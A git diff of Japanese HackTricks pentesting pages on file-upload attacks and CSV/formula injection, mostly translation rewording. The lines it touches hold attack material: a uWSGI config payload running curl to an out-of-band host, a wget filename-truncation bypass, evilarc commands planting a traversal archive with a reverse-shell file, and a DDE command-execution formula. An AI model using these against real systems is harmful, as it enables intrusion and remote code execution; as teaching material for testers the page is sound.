**ASPサーバー**にファイルをアップロードしようとしている場合は、[**.config**トリックを見て、コードを実行してください](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files)。 **ASPサーバー**にファイルをアップロードしようとしている場合は、[**.config**トリックを見て、コードを実行してください**](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files)。
`.phar`ファイルは、Javaの`.jar`のようなものですが、PHP用であり、PHPファイルのように**使用できます**PHPで実行したり、スクリプト内に含めたり... `.phar`ファイルは、Javaの`.jar`のようなものですが、PHP用であり、PHPファイルのように**使用できます**PHPで実行したり、スクリプト内に含めたり...
`.inc`拡張子は、**ファイルのインポートにのみ使用されるPHPファイル**に使用されることがあり、ある時点で**この拡張子を実行できるようにした**人がいるかもしれません。 `.inc`拡張子は、**ファイルのインポートにのみ使用されるPHPファイル**に使用されることがあり、ある時点で**この拡張子が実行されることを許可**しているかもしれません。
## **Jetty RCE** ## **Jetty RCE**
JettyサーバーにXMLファイルをアップロードできる場合、[**新しい\*.xmlおよび\*.warは自動的に処理される**ため、RCEを取得できます](https://twitter.com/ptswarm/status/155 JettyサーバーにXMLファイルをアップロードできる場
```ini ```ini
[uwsgi] [uwsgi]
; read from a symbol ; read from a symbol
@ -134,13 +134,13 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char * ; call a function returning a char *
characters = @(call://uwsgi_func) characters = @(call://uwsgi_func)
``` ```
ペイロードの実行は、構成ファイルの解析中に発生します。構成を有効にして解析するには、uWSGIプロセスを再起動するかクラッシュ後またはDoS攻撃の結果として、またはファイルを自動リロードに設定する必要があります。自動リロード機能が有効になっている場合、変更を検出すると指定された間隔でファイルが再読み込まれます。 ペイロードの実行は、構成ファイルの解析中に発生します。構成が有効化および解析されるためには、uWSGIプロセスを再起動するかクラッシュ後またはDoS攻撃の結果として、またはファイルを自動リロードに設定する必要があります。自動リロード機能が有効になっている場合、変更を検出すると指定された間隔でファイルを再読み込みします。
uWSGIの構成ファイルの解析の寛容な性質を理解することが重要です。具体的には、議論されているペイロードは、バイナリファイル画像やPDFなどに挿入することができ、潜在的な悪用の範囲がさらに広がります。 uWSGIの構成ファイルの解析の寛容な性質を理解することが重要です。具体的には、議論されているペイロードは、バイナリファイル画像やPDFなどに挿入することができ、潜在的な悪用の範囲をさらに広げることができます。
## **wgetファイルアップロード/SSRFトリック** ## **wgetファイルアップロード/SSRFトリック**
場合によっては、サーバーが**`wget`**を使用して**ファイルをダウンロード**し、**URL**を**指定**することがあることがあります。これらの場合、コードはダウンロードされるファイルの拡張子がホワイトリスト内にあることを確認して、許可されたファイルのみがダウンロードされることを保証しているかもしれません。しかし、**このチェックをバイパスすることができます。**\ 場合によっては、サーバーが**`wget`**を使用して**ファイルをダウンロード**し、**URL**を**指定**することがあるかもしれません。この場合、コードはダウンロードされるファイルの拡張子がホワイトリスト内にあることを確認して、許可されたファイルのみがダウンロードされることを保証しているかもしれません。しかし、**このチェックをバイパスすることができます。**\
**Linux**の**ファイル名**の**最大**長は**255**ですが、**wget**はファイル名を**236**文字に切り詰めます。**"A"\*232+".php"+".gif"**という名前のファイルをダウンロードできます。このファイル名は**チェックをバイパス**します(この例では**".gif"**が**有効な**拡張子であるため)、しかし`wget`はファイルを**"A"\*232+".php"**に**リネーム**します。 **Linux**の**ファイル名**の**最大**長は**255**ですが、**wget**はファイル名を**236**文字に切り詰めます。**"A"\*232+".php"+".gif"**という名前のファイルをダウンロードできます。このファイル名は**チェックをバイパス**します(この例では**".gif"**が**有効な**拡張子であるため)、しかし`wget`はファイルを**"A"\*232+".php"**に**リネーム**します。
```bash ```bash
#Create file and HTTP server #Create file and HTTP server
@ -164,7 +164,7 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
2020-06-13 03:14:06 (1.96 MB/s) - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php saved [10/10] 2020-06-13 03:14:06 (1.96 MB/s) - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php saved [10/10]
``` ```
**別のオプション**として、このチェックをバイパスするために考えているかもしれないのは、**HTTPサーバーを別のファイルにリダイレクトさせる**ことです。そのため、初期URLはチェックをバイパスしますが、その後wgetが新しい名前でリダイレクトされたファイルをダウンロードします。これは、wgetが`--trust-server-names`パラメータとともに使用されている場合に**のみ機能**します。なぜなら、**wgetはリダイレクトされたページを元のURLで指定されたファイル名でダウンロード**するからです。 注意してください。**別のオプション**は、このチェックをバイパスするために考えているかもしれませんが、**HTTPサーバーを別のファイルにリダイレクトさせる**ことです。そのため、初期URLはチェックをバイパスしますが、その後wgetが新しい名前でリダイレクトされたファイルをダウンロードします。これは、wgetが`--trust-server-names`パラメータとともに使用されている場合に**のみ機能します**。なぜなら、**wgetはリダイレクトされたページを元のURLで指定されたファイル名でダウンロードする**からです。
## ツール ## ツール
@ -179,12 +179,12 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
* [画像svgファイルの中の**XSS**](../xss-cross-site-scripting/#xss-uploading-files-svg) * [画像svgファイルの中の**XSS**](../xss-cross-site-scripting/#xss-uploading-files-svg)
* **JS**ファイル**のアップロード** + **XSS** = [**Service Workers**の悪用](../xss-cross-site-scripting/#xss-abusing-service-workers) * **JS**ファイル**のアップロード** + **XSS** = [**Service Workers**の悪用](../xss-cross-site-scripting/#xss-abusing-service-workers)
* [svgアップロードの**XXE**](../xxe-xee-xml-external-entity.md#svg-file-upload) * [svgアップロードの**XXE**](../xxe-xee-xml-external-entity.md#svg-file-upload)
* SVGファイルのアップロードによる[**オープンリダイレクト**](../open-redirect.md#open-redirect-uploading-svg-files) * svgファイルをアップロードすることでの[**オープンリダイレクト**](../open-redirect.md#open-redirect-uploading-svg-files)
* [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)から**異なるsvgペイロード**を試してみてください * [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)から**異なるsvgペイロード**を試してみてください
* 有名な**ImageTrick**脆弱性](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/) * 有名な**ImageTrick**脆弱性](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
* Webサーバーに画像を取得するよう指示できる場合、[SSRF](../ssrf-server-side-request-forgery/)を悪用してみることができます。この**画像**が**公開**サイトに**保存**される場合、[https://iplogger.org/invisible/](https://iplogger.org/invisible/)からのURLを指定して、**すべての訪問者の情報を盗む**こともできます。 * **Webサーバーに画像を取得するよう指示できる場合**、[SSRF](../ssrf-server-side-request-forgery/)を悪用してみることができます。この**画像**が**公開**サイトに**保存**される場合、[https://iplogger.org/invisible/](https://iplogger.org/invisible/)からのURLを指定して、**すべての訪問者の情報を盗む**こともできます。
* [PDF-Adobeアップロードでの**XXEとCORS**バイパス](pdf-upload-xxe-and-cors-bypass.md) * [**PDF-Adobeアップロード**での**XXE**および**CORS**バイパス](pdf-upload-xxe-and-cors-bypass.md)
* XSSに特化したPDF[次のページでは、**PDFデータを注入してJSの実行を取得**する方法](../xss-cross-site-scripting/pdf-injection.md)が示されています。PDFをアップロードできる場合は、指示に従って任意のJSを実行するPDFを準備することができます。 * XSSのための特別に作成されたPDF[次のページでは、PDFデータを注入してJSの実行を取得する方法](../xss-cross-site-scripting/pdf-injection.md)が示されています。PDFをアップロードできる場合は、指示に従って任意のJSを実行するPDFを準備することができます。
* \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt))のコンテンツをアップロードして、サーバーに**アンチウイルス**があるかどうかを確認します * \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt))のコンテンツをアップロードして、サーバーに**アンチウイルス**があるかどうかを確認します
* ファイルをアップロードする際の**サイズ制限**があるかどうかを確認します * ファイルをアップロードする際の**サイズ制限**があるかどうかを確認します
@ -197,7 +197,7 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
5. **XML**XXE 5. **XML**XXE
6. **AVI**LFI / SSRF 6. **AVI**LFI / SSRF
7. **HTML / JS**HTMLインジェクション / XSS / オープンリダイレクト 7. **HTML / JS**HTMLインジェクション / XSS / オープンリダイレクト
8. **PNG / JPEG**ピクセルフラッド攻撃DoS 8. **PNG / JPEG**Pixel flood attackDoS
9. **ZIP**LFI経由のRCE / DoS 9. **ZIP**LFI経由のRCE / DoS
10. **PDF / PPTX**SSRF / BLIND XXE 10. **PDF / PPTX**SSRF / BLIND XXE
@ -212,7 +212,7 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
他のファイルタイプについては、[https://en.wikipedia.org/wiki/List\_of\_file\_signatures](https://en.wikipedia.org/wiki/List\_of\_file\_signatures)を参照してください。 他のファイルタイプについては、[https://en.wikipedia.org/wiki/List\_of\_file\_signatures](https://en.wikipedia.org/wiki/List\_of\_file\_signatures)を参照してください。
### ZIP/Tarファイルの自動解凍アップロード ### Zip/Tarファイルの自動解凍アップロード
サーバー内で解凍されるZIPをアップロードできる場合、次の2つのことができます サーバー内で解凍されるZIPをアップロードできる場合、次の2つのことができます
@ -235,7 +235,7 @@ python2 evilarc.py -h
# Creating a malicious archive # Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
``` ```
さらに、**evilarcを使用したsymlinkトリック**もオプションです。`/flag.txt`のようなファイルをターゲットにする場合、そのファイルへのsymlinkをシステムに作成する必要があります。これにより、evilarcが操作中にエラーに遭遇しないことが保証されます。 さらに、**evilarcを使用したシンボリックリンクのトリック**も選択肢の一つです。`/flag.txt`のようなファイルをターゲットにする場合、そのファイルへのシンボリックリンクをシステムに作成する必要があります。これにより、evilarcが操作中にエラーに遭遇しないようになります。
以下は、悪意のあるzipファイルを作成するために使用されるPythonコードの例です 以下は、悪意のあるzipファイルを作成するために使用されるPythonコードの例です
```python ```python
@ -292,7 +292,7 @@ pop graphic-context
``` ```
## PNGにPHPシェルを埋め込む ## PNGにPHPシェルを埋め込む
PNGファイルのIDATチャンクにPHPシェルを埋め込むことは、特定の画像処理操作を効果的にバイパスすることができます。PHP-GDの`imagecopyresized`および`imagecopyresampled`関数は、画像のリサイズやリサンプリングに一般的に使用されるため、この文脈で特に関連があります。埋め込まれたPHPシェルがこれらの操作に影響を受けない能力は、特定のユースケースにおいて重要な利点となります。 PNGファイルのIDATチャンクにPHPシェルを埋め込むことは、特定の画像処理操作を効果的にバイパスすることができます。PHP-GDの`imagecopyresized`および`imagecopyresampled`関数は、一般的に画像のリサイズやリサンプリングに使用されるため、この文脈で特に関連があります。埋め込まれたPHPシェルがこれらの操作に影響を受けない能力は、特定のユースケースにおいて重要な利点となります。
この技術の詳細な探求、方法論、および潜在的な応用については、次の記事で提供されています: ["PNG IDATチャンクにWebシェルをエンコードする"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)。このリソースは、プロセスとその影響について包括的な理解を提供しています。 この技術の詳細な探求、方法論、および潜在的な応用については、次の記事で提供されています: ["PNG IDATチャンクにWebシェルをエンコードする"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)。このリソースは、プロセスとその影響について包括的な理解を提供しています。
@ -300,11 +300,11 @@ PNGファイルのIDATチャンクにPHPシェルを埋め込むことは、特
## ポリグロットファイル ## ポリグロットファイル
ポリグロットファイルは、サイバーセキュリティにおいてユニークなツールとして機能し、複数のファイル形式で同時に有効に存在できるカメレオンとして機能します。興味深い例として、[GIFAR](https://en.wikipedia.org/wiki/Gifar)があります。これはGIFとRARアーカイブの両方として機能するハイブリッドです。このようなファイルはこのペアリングに限定されるものではありません。GIFとJS、PPTとJSなどの組み合わせも可能です。 ポリグロットファイルは、サイバーセキュリティにおいてユニークなツールとして機能し、複数のファイル形式で有効に存在できるカメレオンとして機能します。興味深い例として、[GIFAR](https://en.wikipedia.org/wiki/Gifar)があります。これはGIFとRARアーカイブの両方として機能するハイブリッドです。このようなファイルはこのペアリングに限定されるものではありません。GIFとJS、またはPPTとJSなどの組み合わせも可能です。
ポリグロットファイルの主な利点は、ファイルの種類に基づいてファイルをスクリーニングするセキュリティ対策を回避する能力にあります。さまざまなアプリケーションでの一般的な慣行は、JPEG、GIF、またはDOCなどの特定のファイルタイプのみをアップロード可能とし、潜在的に有害な形式(例: JS、PHP、またはPharファイルによるリスクを軽減することです。しかし、ポリグロットは複数のファイルタイプの構造基準に準拠することで、これらの制限を巧妙にバイパスすることができます。 ポリグロットファイルの主な利点は、ファイルの種類に基づいてファイルをスクリーニングするセキュリティ対策を回避する能力にあります。さまざまなアプリケーションでの一般的な慣行は、JPEG、GIF、またはDOCなどの特定のファイル形式のみをアップロード可能とし、潜在的に有害な形式(例: JS、PHP、またはPharファイルによるリスクを軽減することです。しかし、ポリグロットは、複数のファイル形式の構造基準に準拠することで、これらの制限を巧妙にバイパスすることができます。
ポリグロットは適応性がある一方で、制約に遭遇することがあります。例えば、ポリグロットがPHARファイルPHp ARchiveとJPEGを同時に具現化している場合でも、そのアップロードの成功はプラットフォームのファイル拡張ポリシーにかかってくるかもしれません。システムが許容可能な拡張子に厳格である場合、単なる構造的な二重性だけではアップロードが保証されないかもしれません。 ポリグロットは適応性がある一方で、制限に遭遇することがあります。たとえば、ポリグロットがPHARファイルPHp ARchiveとJPEGを同時に具現化している場合でも、そのアップロードの成功はプラットフォームのファイル拡張ポリシーにかかってくるかもしれません。システムが許容可能な拡張子に厳格である場合、単なる構造的な二重性だけではアップロードが保証されないかもしれません。
詳細はこちら: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a) 詳細はこちら: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
@ -317,7 +317,6 @@ PNGファイルのIDATチャンクにPHPシェルを埋め込むことは、特
* [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/) * [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
* [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a) * [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\ <img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
**バグバウンティのヒント**: **Intigriti**に**サインアップ**してください。これは、ハッカーによって作成されたプレミアム**バグバウンティプラットフォーム**です!今すぐ[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、最大**$100,000**のバウンティを獲得しましょう! **バグバウンティのヒント**: **Intigriti**に**サインアップ**してください。これは、ハッカーによって作成されたプレミアム**バグバウンティプラットフォーム**です!今すぐ[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、最大**$100,000**のバウンティを獲得しましょう!
@ -325,14 +324,14 @@ PNGファイルのIDATチャンクにPHPシェルを埋め込むことは、特
<details> <details>
<summary><strong>**htARTEHackTricks AWS Red Team Expert**で**ゼロからヒーローまでのAWSハッキング**を学びましょう!</summary> <summary><strong>**htARTEHackTricks AWS Red Team Expert**で**ゼロからヒーローまでのAWSハッキング**を学びましょう!</strong></summary>
HackTricksをサポートする他の方法: HackTricksをサポートする他の方法:
* **HackTricksで企業を宣伝したい**場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れる * [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れる
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォロー**する * 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)を**フォロー**する
* **HackTricks**と**HackTricks Cloud**のgithubリポジトリに**PRを提出**することで、あなたのハッキングトリックを共有してください。 * **ハッキングトリックを共有するために、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する
</details> </details>

View file

@ -2,13 +2,13 @@
<details> <details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じてゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary>
* **サイバーセキュリティ企業**で働いていますか?**HackTricksで会社を宣伝**したいですか?または**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションをご覧ください * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションをご覧ください
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう * [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れ
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**私をフォロー** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 * **[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出して、あなたのハッキングトリックを共有してください。
</details> </details>
@ -16,12 +16,12 @@
<details> <details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じてゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary>
* **サイバーセキュリティ企業**で働いていますか?**HackTricksで会社を宣伝**したいですか?または**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションをご覧ください * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションをご覧ください
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう * [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れ
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**私をフォロー** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 * **[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出して、あなたのハッキングトリックを共有してください。
</details> </details>

View file

@ -1,22 +1,22 @@
# フォーミュラ/CSV/ドキュメント/LaTeX/GhostScript インジェクション # フォーミュラ/CSV/Doc/LaTeX/GhostScript インジェクション
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>**ゼロからヒーローまでのAWSハッキングを学ぶ**</summary> <summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary>
HackTricks をサポートする他の方法: HackTricks をサポートする他の方法:
- **HackTricks で企業を宣伝**したい場合や **HackTricksをPDFでダウンロード** したい場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェック! - **HackTricks で企業を宣伝**したい場合や **HackTricks をPDFでダウンロード**したい場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください
- [**公式PEASSHackTricksッズ**](https://peass.creator-spring.com)を入手 - [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**telegramグループ**](https://t.me/peass) に **参加** または **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) を **フォロー** する - 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) をフォローする
- **ハッキングテクニックを共有**するために **HackTricks** と **HackTricks Cloud** の github リポジトリに PR を提出する - **HackTricks** と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks) のGitHubリポジトリに PR を提出して、あなたのハッキングトリックを共有する
</details> </details>
<figure><img src="../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
最も重要な脆弱性を見つけて修正できるようにしましょう。Intruder はあなたの攻撃範囲を追跡し、積極的な脅威スキャンを実行し、API から Web アプリ、クラウドシステムまでの技術スタック全体で問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) 今すぐ。 最も重要な脆弱性を見つけて修正を迅速化します。Intruder は攻撃対象を追跡し、積極的な脅威スキャンを実行し、API から Web アプリやクラウドシステムまでの技術スタック全体で問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) 今すぐ。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %} {% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
@ -26,10 +26,10 @@ HackTricks をサポートする他の方法:
### 情報 ### 情報
もし **入力****CSVファイル**(またはおそらく **Excel** で開かれる可能性のある他のファイル)**反映** されている場合、Excel **フォーミュラ** を入れて、ユーザーがファイルを **開いたとき** や Excel シート内のリンクを **クリックしたとき** **実行** されるかもしれません。 もし、あなたの **入力****CSVファイル**(またはおそらく **Excel で開かれる可能性のある他のファイル**)に **反映** されている場合、Excel **フォーミュラ** を入れることができ、ユーザーがファイルを **開いたとき****Excel シート内のリンクをクリックしたとき**に **実行** されるかもしれません。
{% hint style="danger" %} {% hint style="danger" %}
現在、**Excel は外部から読み込まれたものを警告**(何度も)し、悪意ある行動を防ぐためにユーザーに警告します。そのため、最終ペイロードにはソーシャルエンジニアリングに特別な注意が必要です。 現在、**Excel は外部から読み込まれたものを警告**します(何度も)ユーザーが悪意ある行動を防ぐために。そのため、最終ペイロードにはソーシャルエンジニアリングに特別な注意が必要です。
{% endhint %} {% endhint %}
### [ワードリスト](https://github.com/payloadbox/csv-injection-payloads) ### [ワードリスト](https://github.com/payloadbox/csv-injection-payloads)
@ -47,7 +47,7 @@ DDE ("cmd";"/C calc";"!A0")A0
次の例は、[https://payatu.com/csv-injection-basic-to-exploit](https://payatu.com/csv-injection-basic-to-exploit) から取得されました。 次の例は、[https://payatu.com/csv-injection-basic-to-exploit](https://payatu.com/csv-injection-basic-to-exploit) から取得されました。
学生記録管理システムでのセキュリティ侵害がCSVインジェクション攻撃を介して悪用されたと想像してください。攻撃者の主な意図は、教師が学生の詳細を管理するために使用するシステムを危険にさらすことです。この方法は、攻撃者が悪意のあるペイロードをアプリケーションに注入し、具体的には学生の詳細用に用意されたフィールドに有害な数式を入力することで実されます。攻撃は次のように展開されます: 学生記録管理システムでのセキュリティ侵害がCSVインジェクション攻撃を介して悪用されたと想像してください。攻撃者の主な意図は、教師が学生の詳細を管理するために使用するシステムを危険にさらすことです。この方法は、攻撃者が悪意のあるペイロードをアプリケーションに注入し、具体的には学生の詳細用に用意されたフィールドに有害な数式を入力することで実されます。攻撃は次のように展開されます:
1. **悪意のあるペイロードの注入:** 1. **悪意のあるペイロードの注入:**
- 攻撃者は学生の詳細フォームを送信しますが、スプレッドシートで一般的に使用される数式(例:`=HYPERLINK("<malicious_link>","Click here")`)を含めます。 - 攻撃者は学生の詳細フォームを送信しますが、スプレッドシートで一般的に使用される数式(例:`=HYPERLINK("<malicious_link>","Click here")`)を含めます。
@ -70,7 +70,7 @@ DDE ("cmd";"/C calc";"!A0")A0
**詳細については、[元の投稿](https://notsosecure.com/data-exfiltration-formula-injection-part1) をご確認ください。** **詳細については、[元の投稿](https://notsosecure.com/data-exfiltration-formula-injection-part1) をご確認ください。**
特定の構成や古いバージョンのExcelでは、Dynamic Data ExchangeDDEと呼ばれる機能を利用して任意のコマンドを実行することができます。これを活用するには、次の設定を有効にする必要があります: 特定の構成や古いバージョンのExcelでは、Dynamic Data ExchangeDDEと呼ばれる機能を悪用して任意のコマンドを実行できます。これを活用するには、次の設定を有効にする必要があります:
- ファイル → オプション → 信頼センター → 信頼センターの設定 → 外部コンテンツに移動し、**Dynamic Data Exchange Server Launch** を有効にします。 - ファイル → オプション → 信頼センター → 信頼センターの設定 → 外部コンテンツに移動し、**Dynamic Data Exchange Server Launch** を有効にします。
@ -89,11 +89,11 @@ LibreOffice Calc はローカルファイルを読み取り、データを外部
